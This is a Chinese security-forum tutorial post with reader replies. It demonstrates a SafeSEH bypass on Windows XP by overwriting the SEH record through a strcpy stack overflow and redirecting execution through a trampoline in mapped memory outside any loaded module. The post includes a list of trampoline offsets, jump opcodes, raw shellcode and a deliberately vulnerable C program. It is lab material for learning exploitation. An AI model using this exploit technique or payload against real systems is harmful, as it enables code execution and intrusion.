吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7264|回复: 7
收起左侧

[漏洞分析] 突破SafeSEH机制之三——利用加载模块之外的地址绕过SafeSEH

[复制链接]
筠溪 发表于 2017-8-4 11:41
本帖最后由 筠溪 于 2017-8-4 11:43 编辑

敲黑板敲黑板~睡着的同学醒醒了!!
今天我们继续突破SafeSEH,上次讲到第二种思路利用未启用SafeSEH模块绕过SafeSEH
今天来实现最后一个突破思路:
      异常处理函数位于加载模块内存范围之外,DEP关闭------->>>在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
上次我们是找到了一个加载模块内存范围内找到的一个指令,今天我们要在加载内存范围外找一个跳板指令了。

预告:今天会有一个漏洞利用中很重要很常用的技巧,那就是跳板指令的选择与查找。(而且是那种,你只需要知道是什么,不需要知道为什么的方法。)


环境:
XP SP3
vs 2008
optimization disable
release
DEP关闭(这个问题我想明白了,XP默认就会关闭,不用vs专门关闭)


先把今天实验代码贴出来
[C] 纯文本查看 复制代码
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);        
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        __asm int 3
        test(shellcode);
        return 0;
}


直接运行程序,在int3的地方停下来,查看OD插件SafeSEH,查看加载模块情况:
safeseh on.jpg
发现所有的模块都已经开启SafeSEH

通过 查看->内存,查看内存情况:
mem map.jpg
类型为map的映射文件,SafeSEH会将他们无视,不对他们进行有效性验证的,所以当我们把异常处理函数指针指向这里的某一个跳板指令,利用跳板指令跳回栈,我们是不是就可以执行我们的shellcode了。(重点~)

那我们需要什么样的跳板指令呢?前方高能预警... ...
call/jmp dword ptr[esp+0x8]
call/jmp dword ptr[esp+0x14]
call/jmp dword ptr[esp+0x1c]
call/jmp dword ptr[esp+0x2c]
call/jmp dword ptr[esp+0x44]
call/jmp dword ptr[esp+0x50]

call/jmp dword ptr[ebp+0xc]
call/jmp dword ptr[ebp+0x24]
call/jmp dword ptr[ebp+0x30]
call/jmp dword ptr[ebp-0x4]
call/jmp dword ptr[ebp-0xc]
call/jmp dword ptr[ebp-0x18]

好,文章中说,这些跳板指令都能精确的跳回来。(原话是“经过前辈们的不懈努力找到了一批可以用在这种情况下的跳板地址”)
nani???黑人问号???
一句话都不多说。当时真是想死的心都有了,满脑子问号。
于是秉持着“不求甚解”的心态“先这么着吧”,继续往下调试。
而且作者说,他开发了一个OllyFindAddr的插件,可以找出来这些所有指令的地址,在整个程序内存空间中:
call ebp 30.jpg
我抱着试试看的心态,真的找到了!图中红色的指令,call [ebp+0x30],位于0x280B0B,对比刚才看到map文件的地址,发现这个地址确实是在map文件映射的内存空间中的。


第一步 确定栈中结构
其实跟之前的差不多,我们老方法再看一遍,多看一遍不花钱。
先把shellcode字符设置成200个字符。查看首地址和末尾地址,看看末尾地址离需要溢出点有多远。
栈结构.jpg
我们看到,数据末尾离我们要覆盖的地方还有24个字节的长度,我们在221-224把我们找到的跳板指令布置上去。

第二步 call [ebp+0x30]到底是干嘛的
重新布置shellcode后,我们调试到这一步,看看这个跳板指令到底是怎么蹦跶的。
要调试到call 280B0B这一步还挺麻烦,老是跳过,所以说搞逆向的人一定要耐心啊。
跳板指令.jpg
在准备call ebp+0x30的时候,我专门记下了作者说的另外几个指针,无一例外,他们指向的是同一个值,0x0012FF60
这个地址正是覆盖的SEH结构中NEXT SEH指针的地址!!!也就是说跳板指令的意义在于,会使程序重新跳到这个
0x0012FF60继续执行,既然程序流程已经被我们通过跳转指令劫持回来了,我们继续考虑接下来怎么运行到shellcode就好了。
另外,我们惊奇的发现,每一个ebp跳板指令偏移再+0x20,就是esp的跳板指令的偏移。

第三步 跳转到shellcode
跳回到NextSEH指针了,可是我们无法直接jmp到shellcode,因为这里离shellcode太远,并且只有4个字节,jmp short指令只能跳转128字节的距离,而jmp far 需要8个字节的空间,如果jmp far的话,就和跳板指令地址shellcode中0x00280B0B冲突了。
所以这里又是一个常用技巧叫做双跳转指令,先用一个jmp short跳到一个合适的地方,再用jmp far跳到shellcode执行。
jmp short考虑向前跳8个字节,以便给jmp far腾出空间,采取\xEB\xF6,因为要包含自己的2个字节。
jmp far就计算与shellcode的距离了,

所以我们的shellcode在栈中是(注意倒序)
90909090(shellcode末尾)
————               (90填充)
————               (90填充)
\xE9\x2B\xFF\xFF  jmp -(200+8+5)
\xFF\x90\x90\x90
\xEB\xF6\x90\x90  jmp -(8+2)
\x0B\x0B\x28\x00 SEH处理函数

修改shellcode代码:
[C] 纯文本查看 复制代码
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
"\xEB\xF6\x90\x90"// machine code of short jump and \x90
"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory

;

DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);        
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        __asm int 3
        test(shellcode);
        return 0;
}

success.jpg
有哪里不懂,可以提问,我知道的话一定会解答。

免费评分

参与人数 2吾爱币 +9 热心值 +2 收起 理由
Hmily + 8 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
snccwt + 1 + 1 用心讨论,共获提升!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

snccwt 发表于 2017-8-4 12:03
学习了,谢谢
yxp10010 发表于 2017-8-4 13:07
a15839589175 发表于 2017-8-4 14:37
xiawan 发表于 2017-8-4 15:27
这可是真正的学习贴,怎么不给精华?
hikarugl 发表于 2017-8-4 23:24
楼主有大凶器~~~
naic 发表于 2017-10-17 16:54
论坛因你更精彩!
vili88 发表于 2018-7-15 20:32
支持楼主……很实用
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-29 19:52

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表